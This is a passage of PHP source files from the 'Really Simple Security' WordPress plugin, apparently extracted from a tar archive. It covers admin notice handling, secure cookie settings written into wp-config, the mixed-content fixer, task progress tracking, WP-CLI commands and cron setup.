			if ( ! isset( $notice['output'][ $output ] ) ) {
				unset( $notices[ $id ] );
				continue;
			}

            if ( isset($notice['output'][ $output ]['url'] ) ) {
                $url = $notice['output'][ $output ]['url'];
                if ( strpos( $url, 'https://') ===false && strpos( $url, 'http://') === false ) {
	                $notice['output'][ $output ]['url'] = rsssl_link($url);
                }
            }

			$notices[ $id ]['output']           = $notice['output'][ $output ];
			$notices[ $id ]['output']['status'] = 'success' === $notices[ $id ]['output']['icon'] ? 'completed' : $notices[ $id ]['output']['icon'];
			if ( ! in_array( $notices[ $id ]['output']['status'], $statuses, true ) ) {
				unset( $notices[ $id ] );
				continue;
			}
			$condition_functions = $notice['condition'];
			foreach ( $condition_functions as $func ) {
				$condition = $this->validate_function( $func, true );
				if ( ! $condition ) {
					unset( $notices[ $id ] );
				}
			}

			if ( isset( $notices[ $id ] ) ) {
				$notices[ $id ]['output']['label'] = $icon_labels[ $notices[ $id ]['output']['icon'] ];
			}

			//only remove this option if it's both dismissed AND not completed. This way we keep completed notices in the list.
			if ( isset( $notices[ $id ] ) && get_option( 'rsssl_' . $id . '_dismissed' ) && 'completed' !== $notices[ $id ]['output']['status'] ) {
				unset( $notices[ $id ] );
			}
		}

		//if only admin_notices are required, filter out the rest.
		if ( $args['admin_notices'] ) {
			foreach ( $notices as $id => $notice ) {
				if ( ! isset( $notice['output']['admin_notice'] ) || ! $notice['output']['admin_notice'] ) {
					unset( $notices[ $id ] );
				}
			}
		}

//sort notices in the order: warning, open, premium, success
		$warnings = array();
		$open     = array();
		$premium  = array();
		$success  = array();
		$other    = array();
		foreach ( $notices as $key => $notice ) {
			if ( ! isset( $notice['output']['icon'] ) ) {
				$other[$key] = $notice;
				continue;
			}

			switch ( $notice['output']['icon'] ) {
				case 'warning':
					$warnings[$key] = $notice;
					break;
				case 'open':
					$open[$key] = $notice;
					break;
				case 'premium':
					$premium[$key] = $notice;
					break;
				case 'success':
					$success[$key] = $notice;
					break;
				default:
					$other[$key] = $notice;
			}
		}
		$notices = $warnings + $open + $premium + $success + $other;

		//if we only want a list of premium notices
		if ( $args['premium_only'] ) {
			foreach ( $notices as $key => $notice ) {
				if ( ! isset( $notice['output']['icon'] ) || 'premium' !== $notice['output']['icon'] ) {
					unset( $notices[ $key ] );
				}
			}
		}

		// Check if the 'black_friday_notice' exists and move it to the top of the array
		if ( isset( $notices['bf_notice2023'] ) ) {
			// Remove the 'black_friday_notice' from its current position
			$black_friday_notice = array( 'bf_notice2023' => $notices['bf_notice2023'] );
			unset( $notices['bf_notice2023'] );

			// Add the 'black_friday_notice' back at the beginning of the array
			$notices = $black_friday_notice + $notices;
		}

//		// Check if the 'upgraded_to_nine' exists and move it to the top of the array
//		if ( isset( $notices['upgraded_to_nine'] ) ) {
//			// Remove the 'black_friday_notice' from its current position
//			$upgraded_to_nine_notice = array( 'upgraded_to_nine' => $notices['upgraded_to_nine'] );
//			unset( $notices['upgraded_to_nine'] );
//
//			// Add the 'black_friday_notice' back at the beginning of the array
//			$notices = $upgraded_to_nine_notice + $notices;
//		}

		//ensure an empty list is also cached
		$cache_notices = empty( $notices ) ? 'empty' : $notices;
		//only cache if the admin_notices are retrieved.
		if ( $args['admin_notices'] ) {
			update_option( 'rsssl_admin_notices', $cache_notices );
		}

		return $notices;
	}

	private function is_upgraded_to_6() {
		return get_option( 'rsssl_show_onboarding' ) && ! get_option( 'rsssl_6_notice_dismissed' );
	}

	private function is_upgraded() {
		$previous_version = get_option( 'rsssl_previous_version' );
		//if there's no first version yet, we assume it's not upgraded
		if ( ! $previous_version ) {
			return false;
		}
		//if the previous version is below current, we just upgraded.
		if ( version_compare( $previous_version, rsssl_version, '<' ) ) {
			return true;
		}
		return false;
	}

	/**
	 * Get output of function, in format 'function', or 'class()->sub()->function'
	 * @param string $func
	 * @param bool $is_condition // if the check is a condition, which should return a boolean
	 * @return string|bool
	 */

	private function validate_function( $func, $is_condition = false ) {
		if ( ! rsssl_user_can_manage() ) {
			return false;
		}

		$invert = false;
		if ( false !== strpos( $func, 'NOT ' ) ) {
			$func   = str_replace( 'NOT ', '', $func );
			$invert = true;
		}

		if ( false !== strpos( $func, 'wp_option_' ) ) {
			$output = get_option( str_replace( 'wp_option_', '', $func ) ) !== false;
		} elseif ( false !== strpos( $func, 'option_' ) ) {
			$output = rsssl_get_option( str_replace( 'option_', '', $func ) ) == 1; //phpcs:ignore
		} elseif ( '_true_' === $func ) {
			$output = true;
		} elseif ( '_false_' === $func ) {
			$output = false;
		} else {
			if ( preg_match( '/(.*)\(\)\-\>(.*)->(.*)/i', $func, $matches ) ) {
				$base     = $matches[1];
				$class    = $matches[2];
				$function = $matches[3];
				if ( property_exists($base(), $class) && $base()->{$class} && method_exists($base()->{$class}, $function) ) {
					$output   = call_user_func(array($base()->{$class}, $function));
				} else {
					$output = false;
                    $this->log( $func . ' not found');
				}
			} else {
				if ( !is_string($func) || !function_exists($func) ) {
                    if ( defined('WP_DEBUG') && WP_DEBUG ) {
                        error_log("missing function:");
                        error_log(print_r($func, true));
                    }
					return false;
				}
                $output = $func();
			}
		}

		if ( $invert ) {
			$output = ! $output;
		}

		//stringyfy booleans
		if ( ! $is_condition ) {
			if ( false === $output || 0 === $output ) {
				$output = 'false';
			}
			if ( true === $output || 1 === $output ) {
				$output = 'true';
			}
		}
		return sanitize_text_field( $output );
	}

	/**
	 * Count the plusones.
	 *
	 * @return int
	 *
	 * @since 3.2
	 */

	public function count_plusones() {
		if ( ! rsssl_user_can_manage() ) {
			return 0;
		}

		$cache = $this->is_settings_page() ? false : true;
		$count = get_option( 'rsssl_plusone_count' );
		if ( ! $cache || false === $count ) {
			$count   = 0;
			$notices = $this->get_notices_list();
			if ( is_array( $notices ) ) {
				foreach ( $notices as $notice ) {
					$success = isset( $notice['output']['icon'] ) && 'success' === $notice['output']['icon'];
					if ( ! $success
						&& isset( $notice['output']['plusone'] )
						&& $notice['output']['plusone']
					) {
						++$count;
					}
				}
			}
			if ( 0 === $count ) {
				$count = 'empty';
			}
			update_option( 'rsssl_plusone_count', $count );
		}

		if ( 'empty' === $count ) {
			return 0;
		}
		return $count;
	}

	/**
	 * Add some css for the settings page
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function enqueue_assets( $hook ) {

		if ( 'toplevel_page_really-simple-security' !== $hook ) {
			return;
		}

		//only on settings page
		$min  = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
		$rtl  = is_rtl() ? 'rtl/' : '';
		$url  = trailingslashit( rsssl_url ) . "assets/css/{$rtl}admin{$min}.css";
		$path = trailingslashit( rsssl_path ) . "assets/css/{$rtl}admin{$min}.css";
		wp_enqueue_style( 'rsssl-css', $url, [ 'wp-components' ], filemtime( $path ) );
	}

	/**
	 * Check if wpconfig contains httponly cookie settings
	 *
	 * @return string
	 */

	public function secure_cookie_settings_status() {
		$wpconfig_path = $this->wpconfig_path();
		if ( ! $wpconfig_path ) {
			return 'wpconfig-not-writable';
		}

		$wpconfig = file_get_contents( $wpconfig_path );
		if ( ( strpos( $wpconfig, '//Begin Really Simple Security session cookie settings' ) !== false ) || ( strpos( $wpconfig, 'cookie_httponly' ) !== false ) ) {
			return 'set';
		}

		if ( ! is_writable( $wpconfig_path ) ) {
			return 'wpconfig-not-writable';
		}

		return 'not-set';
	}

	/**
	 * Insert secure cookie settings
	 */

	public function insert_secure_cookie_settings() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( ! $this->is_settings_page() ) {
			return;
		}

		//if multisite, only on network wide activated setups
		if ( is_multisite() && ! rsssl_is_networkwide_active() ) {
			return;
		}

		//only if cookie settings were not inserted yet
		if ( $this->secure_cookie_settings_status() !== 'set' ) {
			$wpconfig_path = $this->wpconfig_path();

			if ( empty( $wpconfig_path ) ) {
				return;
			}

			$wpconfig = file_get_contents( $wpconfig_path );
			if ( '' !== $wpconfig && is_writable( $wpconfig_path ) ) {
				$rule  = "\n" . '//Begin Really Simple Security session cookie settings' . "\n";
				$rule .= "@ini_set('session.cookie_httponly', true);" . "\n";
				$rule .= "@ini_set('session.cookie_secure', true);" . "\n";
				$rule .= "@ini_set('session.use_only_cookies', true);" . "\n";
				$rule .= '//END Really Simple Security cookie settings' . "\n";

				$insert_after = '<?php';
				$pos          = strpos( $wpconfig, $insert_after );
				if ( false !== $pos ) {
					$wpconfig = substr_replace( $wpconfig, $rule, $pos + 1 + strlen( $insert_after ), 0 );
				}

				file_put_contents( $wpconfig_path, $wpconfig );
			}
		}
	}

	/**
	 * Get the absolute path the the www directory of this site, where .htaccess lives.
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function getabs_path() {
		$path = ABSPATH;
		if ( $this->is_subdirectory_install() ) {
			$site_url = site_url();
			$home_url = home_url();
			$diff     = str_replace( $home_url, '', $site_url );
			$diff     = trim( $diff, '/' );
			$pos      = strrpos( $path, $diff );
			if ( false !== $pos ) {
				$path = substr_replace( $path, '', $pos, strlen( $diff ) );
				$path = trim( $path, '/' );
				$path = '/' . $path . '/';
			}
		}

		return $path;
	}

	/**
	 * Check if it's either a single site, or when multisite, network enabled.
	 * @return bool
	 */
	public function can_apply_networkwide() {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( is_multisite() && rsssl_is_networkwide_active() ) {
			return true;
		}

		return false;
	}

	/**
	 * Find if this WordPress installation is installed in a subdirectory
	 *
	 * @since  2.0
	 *
	 * @access protected
	 *
	 */

	protected function is_subdirectory_install() {
		return strlen( site_url() ) > strlen( home_url() );
	}

	/**
	 * Retrieve the contents of the test page
	 *
	 * @return string
	 *
	 */

	protected function get_test_page_contents() {
		$filecontents = get_transient( 'rsssl_testpage' );
		if ( ! $filecontents ) {
			$testpage_url = trailingslashit( $this->test_url() ) . 'ssl-test-page.php';
			$response     = wp_remote_get( $testpage_url );
			if ( is_array( $response ) ) {
				$filecontents = wp_remote_retrieve_body( $response );
			}

			if ( empty( $filecontents ) ) {
				$filecontents = 'not-valid';
			}
			set_transient( 'rsssl_testpage', $filecontents, DAY_IN_SECONDS );
		}
		return $filecontents;
	}

	/**
	 * Determine dirname to show in admin_notices() in really-simple-ssl-pro.php to show a warning when free folder has been renamed
	 *
	 * @return string
	 *
	 * since 3.1
	 *
	 */

	public function get_current_rsssl_dirname() {
		return basename( __DIR__ );
	}

	/**
	 * Determine the htaccess file. This can be either the regular .htaccess file, or an htaccess.conf file on bitnami installations.
	 *
	 * since 3.1
	 *
	 * @return string
	 */

	public function htaccess_file() {
		if ( $this->uses_htaccess_conf() ) {
			$htaccess_file = realpath( dirname( ABSPATH ) . '/conf/htaccess.conf' );
		} else {
			$htaccess_file = $this->abs_path . '.htaccess';
		}
		return $htaccess_file;
	}

	/**
	 * Check the current redirect status
	 *
	 * @return string
	 */
	public function redirect_status() {
		if ( ! RSSSL()->admin->has_301_redirect() ) {
			return 'no-redirect-set';
		}

		if ( RSSSL()->admin->has_301_redirect() && RSSSL()->server->uses_htaccess() && RSSSL()->admin->htaccess_contains_redirect_rules() ) {
			return 'htaccess-redirect-set';
		}

		if ( $this->can_apply_networkwide() && ! RSSSL()->admin->htaccess_contains_redirect_rules() && rsssl_get_option( 'redirect' ) === 'wp_redirect' ) {
			return 'wp-redirect-to-htaccess';
		}

		if ( rsssl_get_option( 'redirect' ) === 'htaccess' && ! RSSSL()->admin->htaccess_test_success() && $this->can_apply_networkwide() ) {
			return 'htaccess-rules-test-failed';
		}

		return 'default';
	}

	/**
	 * @return void
     *
     * Update branding in .htaccess, wp-config.php
	 */
    public function update_branding_in_files() {
        $this->maybe_update_branding_in_htaccess();
        $this->maybe_update_branding_in_wp_config();
    }

	/**
	 * @return void
     *
     * Update branding in .htaccess. Load .htaccess if it exists and is writable, replace branding, write back
	 */
    public function maybe_update_branding_in_htaccess(): void {

	    if ( ! file_exists( $this->htaccess_file() ) || ! is_writable( $this->htaccess_file() ) ) {
		    return;
	    }

	    $htaccess = file_get_contents( $this->htaccess_file() );

	    if ( strpos( $htaccess, 'Really Simple Security') !== false ) {
		    str_replace("Really Simple SSL", "Really Simple Security", $htaccess);
	    }

        file_put_contents( $this->htaccess_file(), $htaccess );

    }

	/**
	 * @return void
	 *
	 * Update branding in .htaccess. Load .htaccess if it exists and is writable, replace branding, write back
	 */
    public function maybe_update_branding_in_wp_config() {

	   if ( $this->wpconfig_is_writable() ) {

		   $wp_config = file_get_contents( $this->wpconfig_path() );

		   if ( strpos( $wp_config, 'Really Simple SSL' ) !== false ) {
			   str_replace( "Really Simple SSL", "Really Simple Security", $wp_config );
		   }

		   file_put_contents( $this->wpconfig_path(), $wp_config );
	   }
    }

} //class closure

if ( ! function_exists( 'rsssl_ssl_enabled' ) ) {
	function rsssl_ssl_enabled() {
		return boolval( rsssl_get_option( 'ssl_enabled' ) );
	}
}

if ( ! function_exists( 'rsssl_ssl_detected' ) ) {
	function rsssl_ssl_detected() {
		if ( ! RSSSL()->admin->wpconfig_ok() ) {
			return apply_filters( 'rsssl_ssl_detected', 'fail' );
		}

		$valid = RSSSL()->certificate->is_valid();
		if ( ! $valid ) {
			if ( ! function_exists( 'stream_context_get_params' ) || RSSSL()->certificate->detection_failed() ) {
				return apply_filters( 'rsssl_ssl_detected', 'no-response' );
			} else {
				return apply_filters( 'rsssl_ssl_detected', 'no-ssl-detected' );
			}
		} else {
			$about_to_expire = RSSSL()->certificate->about_to_expire();
			if ( ! $about_to_expire ) {
				return apply_filters( 'rsssl_ssl_detected', 'ssl-detected' );
			} else {
				return apply_filters( 'rsssl_ssl_detected', 'ssl-detected' );
			}
		}
	}
}

if ( ! function_exists( 'rsssl_uses_elementor' ) ) {
	function rsssl_uses_elementor() {
		return ( defined( 'ELEMENTOR_VERSION' ) || defined( 'ELEMENTOR_PRO_VERSION' ) );
	}
}

if ( ! function_exists( 'rsssl_uses_divi' ) ) {
	function rsssl_uses_divi() {
		return defined( 'ET_CORE_PATH' );
	}
}

if ( ! function_exists( 'rsssl_uses_wp_engine' ) ) {
	function rsssl_uses_wp_engine() {
		if ( function_exists( 'is_wpe' ) && is_wpe() ) {
			return true;
		}
		return false;
	}
}

if ( ! function_exists( 'rsssl_beta_5_addon_active' ) ) {
	function rsssl_beta_5_addon_active() {
		if ( defined( 'rsssl_beta_addon' ) && rsssl_beta_addon ) {
			return true;
		}
		return false;
	}
}

if ( ! function_exists( 'rsssl_ssl_activation_time_no_longer_then_3_days_ago' ) ) {
	function rsssl_ssl_activation_time_no_longer_then_3_days_ago() {

		$activation_time             = get_option( 'rsssl_activation_timestamp' );
		$three_days_after_activation = $activation_time + 3 * DAY_IN_SECONDS;

		if ( time() < $three_days_after_activation ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( ! function_exists( 'rsssl_letsencrypt_wizard_url' ) ) {
	/**
	 * Get link to SSL certificate generation page
	 *
	 * @param string $page
	 *
	 * @return string
	 */
	function rsssl_letsencrypt_wizard_url( $page = '' ) {
		if ( ! empty( $page ) ) {
			$page = '/' . $page;
		}
		if ( is_multisite() && ! is_main_site() ) {
			return add_query_arg(
				array(
					'page'        => 'really-simple-security',
					'letsencrypt' => 1,
				),
				get_admin_url( get_main_site_id(), 'options-general.php' )
			) . "#letsencrypt$page";
		} else {
			return add_query_arg(
				array(
					'page'        => 'really-simple-security',
					'letsencrypt' => 1,
				),
				admin_url( 'options-general.php' )
			) . "#letsencrypt$page";
		}
	}
}

if ( ! function_exists('rsssl_plain_permalinks_enabled')) {
    function rsssl_plain_permalinks_enabled() {
        return ! get_option( 'permalink_structure' );
    }
}

if ( ! function_exists( 'rsssl_detected_duplicate_ssl_plugin' ) ) {
	/**
	 * Duplicate functionality test
	 *
	 * @param string $return_name
	 *
	 * @return bool|string
	 */
	function rsssl_detected_duplicate_ssl_plugin( $return_name = false ) {
		$plugin = false;
		if ( defined( 'WPLE_PLUGIN_VERSION' ) ) {
			$plugin = 'WP Encryption';
		} elseif ( defined( 'WPSSL_VER' ) ) {
			$plugin = 'WP Free SSL';
		} elseif ( defined( 'SSL_ZEN_PLUGIN_VERSION' ) ) {
			$plugin = 'SSL Zen';
		} elseif ( defined( 'WPSSL_VER' ) ) {
			$plugin = 'WP Free SSL';
		} elseif ( defined( 'SSLFIX_PLUGIN_VERSION' ) ) {
			$plugin = 'SSL Insecure Content Fixer';
		} elseif ( class_exists( 'OCSSL', false ) ) {
			$plugin = 'One Click SSL';
		} elseif ( class_exists( 'JSM_Force_SSL', false ) ) {
			$plugin = "JSM's Force HTTP to HTTPS (SSL)";
		} elseif ( function_exists( 'httpsrdrctn_plugin_init' ) ) {
			$plugin = 'Easy HTTPS (SSL) Redirection';
		} elseif ( defined( 'WPSSL_VER' ) ) {
			$plugin = 'WP Free SSL';
		} elseif ( defined( 'WPFSSL_OPTIONS_KEY' ) ) {
			$plugin = 'WP Force SSL';
		} elseif ( defined( 'ESSL_REQUIRED_PHP_VERSION' ) ) {
			$plugin = 'EasySSL';
		}

		if ( false !== $plugin && ! $return_name ) {
			return true;
		}

		return $plugin;
	}
}

if ( ! function_exists( 'rsssl_ssl_detection_overridden' ) ) {
	function rsssl_ssl_detection_overridden() {
		return get_option( 'rsssl_ssl_detection_overridden' ) !== false;
	}
}

if ( ! function_exists('maybe_disable_frame_ancestors_url_field' ) ) {
	function maybe_disable_frame_ancestors_url_field() {
		if ( rsssl_get_option( 'csp_frame_ancestors' ) === 'disabled' ) {
			return true;
		}

		return false;
	}
}

/**
 * Upgraded to nine notice text
 */
if ( ! function_exists('rsssl_upgrade_to_nine_notice' ) ) {
	function rsssl_upgrade_to_nine_notice() {

		$link = rsssl_link('our-journey-towards-really-simple-security');
		$msg = sprintf(
		       /* translators: %1$s: opening bold tag, %2$s: closing bold tag */
			       __( 'Really Simple SSL is now %1$sReally Simple Security!%2$s', 'really-simple-ssl' ),
			       '<b>',
			       '</b>' )
		       . "<br>" .
		       sprintf(
			       "<a href='%s'>%s</a>",
			       $link,
			       __( "Read about our journey towards Really Simple Security", 'really-simple-ssl' )
		       );

		if ( ! defined( 'rsssl_pro' ) ) {
			$link = rsssl_link( 'checkout/?edd_action=add_to_cart&download_id=860&edd_options%5Bprice_id%5D=1&currency=EUR', 'notification', 'free', 'REALLYSIMPLESECURITY' );
			$msg  .= "<br>" . sprintf(
					__( "Experience all powerful features of Really Simple Security Pro using this %slimited time discount%s: %s", 'really-simple-ssl' ),
					'<strong>',
					'</strong>',
					"<a href='$link'>REALLYSIMPLESECURITY</a>"
				);
		}

		return $msg;
	}
}

/**
 * Do not show notice after 2024-10-01

 */
if ( ! function_exists('rsssl_show_upgrade_to_nine_notice' ) ) {
	function rsssl_show_upgrade_to_nine_notice() {
		if ( time() >= strtotime('2024-10-01') ) {
			return false;
		}

        return true;
	}
}really-simple-ssl/class-mixed-content-fixer.php000064400000013061147510273070015636 0ustar00<?php
defined('ABSPATH') or die("you do not have access to this page!");

if (!class_exists('rsssl_admin_mixed_content_fixer')) {
    class rsssl_mixed_content_fixer
    {
        private static $_this;
        public $http_urls = array();
        public $mixed_content_fixer = false;
        public $hide_wordpress_version = false;

        function __construct()
        {
            if (isset(self::$_this)) wp_die();

            self::$_this = $this;
			$this->mixed_content_fixer = is_ssl() && rsssl_get_option('mixed_content_fixer', true );
			$this->hide_wordpress_version = rsssl_get_option('hide_wordpress_version' );
            if ( !is_admin() && ($this->mixed_content_fixer || $this->hide_wordpress_version )) {
                $this->handle_output_buffer();
            } else if ( is_admin() && is_ssl() && rsssl_get_option("admin_mixed_content_fixer") ) {
	            $this->mixed_content_fixer = true;
	            $this->handle_output_buffer();
            }
        }

        static function this()
        {
            return self::$_this;
        }

        /**
         *
         * add action hooks at the start and at the end of the WP process.
         *
         * @since  2.3
         *
         * @access public
         *
         */

        public function handle_output_buffer()
        {
            /* Do not fix mixed content when call is coming from wp_api or from xmlrpc */
            if (defined('JSON_REQUEST') && JSON_REQUEST) return;
            if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return;

            $this->build_url_list();

            if ( is_admin() ) {
                add_action("admin_init", array($this, "start_buffer"), 100);
                add_action("shutdown", array($this, "end_buffer"), 999);
            } else {
                if ( rsssl_get_option("switch_mixed_content_fixer_hook") || (defined('RSSSL_CONTENT_FIXER_ON_INIT') && RSSSL_CONTENT_FIXER_ON_INIT)) {
                    add_action("init", array($this, "start_buffer"));
                } else {
                    add_action("template_redirect", array($this, "start_buffer"));
                }

                add_action("shutdown", array($this, "end_buffer"), 999);
            }
        }


        /**
         * Apply the mixed content fixer.
         *
         * @since  2.3
         *
         * @access public
         *
         */

        public function filter_buffer($buffer)
        {
			if ( $this->mixed_content_fixer ) {
				$buffer = $this->replace_insecure_links($buffer);
			}
            return apply_filters("rsssl_fixer_output", $buffer );
        }

        /**
         * Start buffering the output
         *
         * @since  2.0
         *
         * @access public
         *
         */

        public function start_buffer()
        {
            ob_start(array($this, "filter_buffer"));
        }

        /**
         * Flush the output buffer
         *
         * @since  2.0
         *
         * @access public
         *
         */

        public function end_buffer()
        {
            if (ob_get_length()) ob_end_flush();
        }

        /**
         * Creates an array of insecure links that should be https and an array of secure links to replace with
         *
         * @since  2.0
         *
         * @access public
         *
         */

        public function build_url_list()
        {
            $home = str_replace("https://", "http://", get_option('home') );
            $root = str_replace("://www.", "://", $home);
            $www = str_replace("://", "://www.", $root);

            //for the escaped version, we only replace the home_url, not it's www or non www counterpart, as it is most likely not used
            $escaped_home = str_replace("/", "\/", $home);
            $this->http_urls = array(
                $www,
                $root,
                $escaped_home,
                "src='http://",
                'src="http://',
            );
        }

        /**
         * Just before the page is sent to the visitor's browser, all homeurl links are replaced with https.
         *
         * @since  1.0
         *
         * @access public
         *
         */

        public function replace_insecure_links($str)
        {
            //skip if file is xml
            if ( strpos( $str, "<?xml" ) === 0 ) {
				return $str;
            }

            $search_array = apply_filters('rlrsssl_replace_url_args', $this->http_urls);
            $ssl_array = str_replace(array("http://", "http:\/\/"), array("https://", "https:\/\/"), $search_array);
            $str = str_replace($search_array, $ssl_array, $str);

            //replace all http links except hyperlinks
            //all tags with src attr are already fixed by str_replace
            $pattern = array(
                '/url\([\'"]?\K(http:\/\/)(?=[^)]+)/i',
                '/<link [^>]*?href=[\'"]\K(http:\/\/)(?=[^\'"]+)/i',
                '/<meta property="og:image" [^>]*?content=[\'"]\K(http:\/\/)(?=[^\'"]+)/i',
                '/<form [^>]*?action=[\'"]\K(http:\/\/)(?=[^\'"]+)/i',
            );

            $str = preg_replace($pattern, 'https://', $str);

            /* handle multiple images in srcset */
            $str = preg_replace_callback('/<img[^\>]*[^\>\S]+srcset=[\'"]\K((?:[^"\'\s,]+\s*(?:\s+\d+[wx])(?:,\s*)?)+)["\']/', array($this, 'replace_src_set'), $str);
            return str_replace("<body", '<body data-rsssl=1', $str);
        }

        /**
         * Helper function
         *
         * */

        public function replace_src_set($matches) {
            return str_replace("http://", "https://", $matches[0]);
        }

    }
}

really-simple-ssl/progress/index.php000064400000000043147510273070013611 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/progress/class-progress.php000064400000010075147510273070015457 0ustar00<?php
defined('ABSPATH') or die();
class rsssl_progress {
	private static $_this;

	function __construct() {
		if ( isset( self::$_this ) )
			wp_die( sprintf( '%s is a singleton class and you cannot create a second instance.', get_class( $this ) ) );
		self::$_this = $this;

		add_action( 'admin_init', array( $this, 'dismiss_from_admin_notice') );
	}

	static function this() {
		return self::$_this;
	}

	public function get() {
		return [
			'text' => $this->get_text(),
			'percentage' => $this->percentage(),
			'notices' => $this->notices(),
		];
	}

	public function notices(){
		$notices = RSSSL()->admin->get_notices_list(array( 'status' => ['open','warning','completed','premium'] ));
		$out = [];
		foreach ($notices as $id => $notice ) {
			$notice['id'] = $id;
			$out[] =  $notice;
		}
		return $out;
	}

	/**
	 * Calculate the percentage completed in the dashboard progress section
	 * Determine max score by adding $notice['score'] to the $max_score variable
	 * Determine actual score by adding $notice['score'] of each item with a 'success' output to $actual_score
	 * @return int
	 *
	 * @since 4.0
	 *
	 */

	private function percentage() {
		if ( ! rsssl_user_can_manage() ) {
			return 0;
		}

		$max_score    = 0;
		$actual_score = 0;
		$notices = RSSSL()->admin->get_notices_list(array(
			'status' => ['open','warning','completed','premium'],
		));
		foreach ( $notices as $id => $notice ) {
			if (isset( $notice['score'] )) {
				// Only items matching condition will show in the dashboard. Only use these to determine max count.
				$max_score += (int) $notice['score'];
				$success   = isset( $notice['output']['icon'] ) && ( $notice['output']['icon'] === 'success' );
				if ( $success ) {
					// If the output is success, task is completed. Add to actual count.
					$actual_score += (int) $notice['score'];
				}
			}
		}
		$score = $max_score>0 ? $actual_score / $max_score :0;
		return (int) round( $score * 100 );
	}

	/**
	 * Get text for progress block
	 *
	 * @return string
	 */
	private function get_text(){
		if (!rsssl_user_can_manage()) return '';
		ob_start();

		$open_task_count = count( RSSSL()->admin->get_notices_list( array( 'status' => ['open','warning'] ) ));
		if ( rsssl_get_option('ssl_enabled') ) {
			if ( $open_task_count !== 0 ) {
				echo sprintf( _n( "Security configuration not completed yet. You still have %s task open.", "You still have %s tasks open.", $open_task_count, 'really-simple-ssl' ), $open_task_count );
			}
			if ( $open_task_count === 0 && defined('rsssl_pro') ) {
				_e("Security configuration completed!", "really-simple-ssl");
			}

			if ( $open_task_count === 0 && ! defined('rsssl_pro') ) {
				_e( "Basic security configuration completed!", "really-simple-ssl" );
			}
		} else if ( !is_network_admin() ) {
			_e( "SSL is not yet enabled on this site.", "really-simple-ssl" );
		}
		do_action('rsssl_progress_feedback');
		return ob_get_clean();
	}

	/**
	 * Count number of premium notices we have in the list.
	 * @return int
	 */
	public function get_lowest_possible_task_count() {
		$premium_notices = RSSSL()->admin->get_notices_list(array('premium_only'=>true));
		return count($premium_notices) ;
	}

	/**
	 * @return void
	 */
	public function dismiss_from_admin_notice(){
		if ( !rsssl_user_can_manage() ) {
			return;
		}
		if (isset($_GET['dismiss_notice'])) {
			$id = sanitize_title($_GET['dismiss_notice']);
			$this->dismiss_task($id);
		}
	}

	/**
	 * Process the react dismissal of a task
	 *
	 * Since 3.1
	 *
	 * @access public
	 *
	 */

	public function dismiss_task($id)
	{
		if ( !empty($id) ) {
			$id = sanitize_title( $id );
			update_option( "rsssl_".$id."_dismissed", true, false );
			$count = get_option( 'rsssl_plusone_count' );
			if (is_numeric($count) && $count>0) {
				$count--;
			}
			update_option('rsssl_plusone_count', $count, WEEK_IN_SECONDS);
			//remove this notice from the admin notices list
			$notices = get_option( 'rsssl_admin_notices' );
			if (isset($notices[$id])) {
				unset($notices[$id]);
			}
			update_option('rsssl_admin_notices', $notices);
		}

		return [
			'percentage' => $this->percentage(),
		];
	}
}really-simple-ssl/class-wp-cli.php000064400000003517147510273070013145 0ustar00<?php
defined( 'ABSPATH' ) or die();

/**
 * Usage
 * php wp rsssl activate_ssl
 * php wp rsssl deactivate_ssl
 * php wp rsssl update_option --site_has_ssl=true
 * php wp rsssl update_option --site_has_ssl=true --x_xss_protection=one
* or: php wp-cli.phar rsssl update_option --x_xss_protection=one
 */
class rsssl_wp_cli {

	public function __construct() {
	}

	public function wp_cli_active() {
		return defined( 'WP_CLI' ) && WP_CLI;
	}

	/**
	 * Activate SSL through CLI
	 *
	 * @return void
	 * @throws \WP_CLI\ExitException
	 */
	public function activate_ssl() {
		if ( ! $this->wp_cli_active() ) {
			return;
		}

		update_option( 'rsssl_onboarding_dismissed', true, false );
		update_option( 'rsssl_6_upgrade_completed', true, false );
		$success = RSSSL()->admin->activate_ssl( false );
		if ( $success ) {
			WP_CLI::success( 'SSL activated successfully' );
		} else {
			WP_CLI::error( 'SSL activation failed' );
		}
	}

	/**
	 * Deactivate SSL through wp cli
	 *
	 * @return void
	 */
	public function deactivate_ssl() {
		if ( ! $this->wp_cli_active() ) {
			return;
		}
		RSSSL()->admin->deactivate();
		WP_CLI::success( 'SSL deactivated' );
	}

	/**
	 * @param $name
	 * @param $value
	 *
	 * @return void
	 * @throws \WP_CLI\ExitException
	 */
	public function update_option( $args, $assoc_args ) {
		if ( ! $this->wp_cli_active() ) {
			return;
		}

		if ( empty( $assoc_args ) ) {
			WP_CLI::error( 'No options passed' );
		}

		foreach ( $assoc_args as $name => $value ) {
			rsssl_update_option( sanitize_title( $name ), $value );
			WP_CLI::success( "Option $name updated" );
		}
	}
}

WP_CLI::add_command( 'rsssl', 'rsssl_wp_cli' );

//We add the devtools command to the WP-CLI
if (file_exists(rsssl_path . 'pro/assets/tools/cli/class-rsssl-stub-generator.php')) {
	require_once rsssl_path . 'pro/assets/tools/cli/class-rsssl-stub-generator.php';
}
really-simple-ssl/security/index.php000064400000000040147510273070013611 0ustar00<?php // You don't belong here.
really-simple-ssl/security/cron.php000064400000007707147510273070013464 0ustar00<?php
defined('ABSPATH') or die();
/**
	Schedule cron jobs if useCron is true
	Else start the functions for testing
 */
define('RSSSL_USE_CRON', true );
if ( RSSSL_USE_CRON ) {
	add_action( 'plugins_loaded', 'rsssl_schedule_cron' );
	function rsssl_schedule_cron() {
		if ( ! wp_next_scheduled( 'rsssl_every_day_hook' ) ) {
			wp_schedule_event( time(), 'rsssl_daily', 'rsssl_every_day_hook' );
		}

		if ( ! wp_next_scheduled( 'rsssl_every_three_hours_hook' ) ) {
			wp_schedule_event( time(), 'rsssl_every_three_hours', 'rsssl_every_three_hours_hook' );
		}

		if ( ! wp_next_scheduled( 'rsssl_every_five_minutes_hook' ) ) {
			wp_schedule_event( time(), 'rsssl_five_minutes', 'rsssl_every_five_minutes_hook' );
		}
		if ( ! wp_next_scheduled( 'rsssl_every_week_hook' ) ) {
			wp_schedule_event( time(), 'rsssl_weekly', 'rsssl_every_week_hook' );
		}
